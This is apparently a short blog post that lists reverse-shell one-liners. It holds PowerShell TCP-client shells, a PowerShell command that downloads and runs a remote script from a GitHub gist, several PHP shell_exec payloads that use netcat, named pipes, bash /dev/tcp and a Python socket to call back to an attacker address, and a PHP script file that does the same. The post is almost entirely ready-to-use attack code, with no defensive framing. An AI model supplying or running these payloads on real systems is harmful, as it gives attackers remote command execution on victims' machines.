reverse-shells

Quick list of reverse shells that may or may not work..


Powershell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()



powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')



PHP

<?php echo shell_exec('whoami'); ?>

<?php echo shell_exec('nc -nv 10.10.14.4 4444 -e /bin/csh'); ?>


<?php echo shell_exec('/bin/sh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe'); ?>
<?php echo shell_exec('/bin/csh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe'); ?>

<?php echo shell_exec('/bin/sh -c "/bin/sh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe"'); ?>
<?php echo shell_exec('/bin/csh -c "/bin/csh 0</tmp/backpipe | nc 10.10.14.4 4444 1>/tmp/backpipe"'); ?>

<?php echo shell_exec('bash -i >& /dev/tcp/10.10.14.4/4444 0>&1'); ?>


<?php echo shell_exec("/usr/local/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"); ?>


As a script file
#!/usr/bin/env php
<?php
echo `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 8888 >/tmp/f`;
?>


No comments:

Post a Comment